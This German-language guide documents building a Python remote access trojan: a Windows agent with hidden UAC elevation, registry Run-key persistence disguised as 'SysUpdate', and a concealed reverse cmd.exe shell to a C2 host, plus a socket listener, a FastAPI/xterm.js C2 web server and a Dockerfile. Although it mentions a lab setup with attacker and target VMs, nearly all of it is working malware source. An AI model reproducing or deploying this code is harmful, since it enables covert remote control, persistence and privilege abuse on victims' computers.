Dokumentation: Vollständiger Aufbau von Python-RAT C2-Server und Agent

1. Ressourcen & Voraussetzungen

Proxmox-Server, zwei VMs (Attacker: Debian/Ubuntu, Target: Windows 10), VS Code, Python 3.10+, PyInstaller, Git

2. Verzeichnisstruktur

```
rat-c2/
■■■ agent/
■   ■■■ stealth_hidden_agent.py
■■■ c2-server/
■   ■■■ server.py
■   ■■■ requirements.txt
■   ■■■ templates/index.html
■■■ c2-monitor/
■   ■■■ c2_monitor.py
■■■ Dockerfile
■■■ README.md
```

3. Python-Agent (stealth_hidden_agent.py)

Agent führt unsichtbare UAC-Elevation durch, installiert Persistenz und baut eine versteckte Reverse-Shell auf.

```
import os
import sys
import ctypes
import subprocess
import socket
import tempfile
import shutil

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def elevate():
    params = f'"{__file__}"'
    ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, params, None, 0)
    sys.exit(0)

def install_persistence():
    temp = tempfile.gettempdir()
    dst = os.path.join(temp, "sysupdate.exe")
    if not os.path.exists(dst):
        shutil.copy(sys.executable, dst)
        subprocess.run([
            "reg", "add",
            r"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
            "/v", "SysUpdate", "/d", dst, "/f"
        ], shell=True)

def reverse_shell(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    si = subprocess.STARTUPINFO()
    si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
    si.wShowWindow = subprocess.SW_HIDE
    creation_flags = subprocess.CREATE_NO_WINDOW
```

```
    proc = subprocess.Popen(
        ["cmd.exe"],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        startupinfo=si,
        creationflags=creation_flags,
        shell=False
    )
    while True:
        data = s.recv(1024)
        if not data:
            break
        proc.stdin.write(data)
        proc.stdin.flush()
        output = proc.stdout.read1(1024) or proc.stderr.read1(1024)
        if output:
            s.send(output)
    proc.kill()
    s.close()

if __name__ == "__main__":
    C2_HOST = "192.168.10.5"
    C2_PORT = 5555
    if not is_admin():
        elevate()
    install_persistence()
    reverse_shell(C2_HOST, C2_PORT)
```

4. C2-Server (server.py)

FastAPI-Server mit WebSocket-Endpunkt und xterm.js-Frontend.

```
import asyncio
import uvicorn
from fastapi import FastAPI, WebSocket, WebSocketDisconnect
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates
from starlette.requests import Request

app = FastAPI()
app.mount("/static", StaticFiles(directory="static"), name="static")
templates = Jinja2Templates(directory="templates")
clients = set()

@app.get("/")
async def get(request: Request):
    return templates.TemplateResponse("index.html", {"request": request})

@app.websocket("/ws")
async def websocket_endpoint(ws: WebSocket):
    await ws.accept()
    clients.add(ws)
    try:
        while True:
            data = await ws.receive_text()
            print(f"[Agent] {data}", end="")
            for client in clients:
                if client != ws:
                    await client.send_text(data)
    except WebSocketDisconnect:
        clients.remove(ws)

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)
```

5. C2-Monitor (c2_monitor.py)

Terminal-basiertes Monitoring-Skript.

```
import socket, threading

def handle(client, addr):
    print(f"[+] Verbunden: {addr}")
    while True:
        try:
            cmd = input("Kommando> ")
            if cmd.lower() in ("exit", "quit"):
                client.close()
                break
            client.send((cmd + "\n").encode())
            resp = client.recv(4096)
            print(resp.decode(), end="")
        except:
            break

s = socket.socket()
s.bind(("0.0.0.0", 5555))
s.listen(1)
print("[*] C2 ready")
conn, addr = s.accept()
threading.Thread(target=handle, args=(conn, addr), daemon=True).start()
```

6. Dockerfile

Container-Build für den C2-Server.

```
FROM python:3.10-slim
WORKDIR /app
COPY . .
RUN pip install -r requirements.txt
EXPOSE 8000
CMD ["uvicorn", "server:app", "--host", "0.0.0.0", "--port", "8000"]
```

7. Weitere Ressourcen & Templates

```
requirements.txt:
  fastapi
  uvicorn[standard]
  websockets
  jinja2

templates/index.html:
<!DOCTYPE html>
<html>
<head><link rel="stylesheet" href="/static/xterm.css" /></head>
<body>
  <div id="terminal" style="width:100%;height:90vh;"></div>
  <script src="/static/xterm.js"></script>
  <script>
    const term = new Terminal(); term.open(document.getElementById('terminal'));
    const ws = new WebSocket(`ws://${location.host}/ws`);
    ws.onmessage = evt => term.write(evt.data);
    term.onData(data => ws.send(data));
  </script>
</body>
</html>
```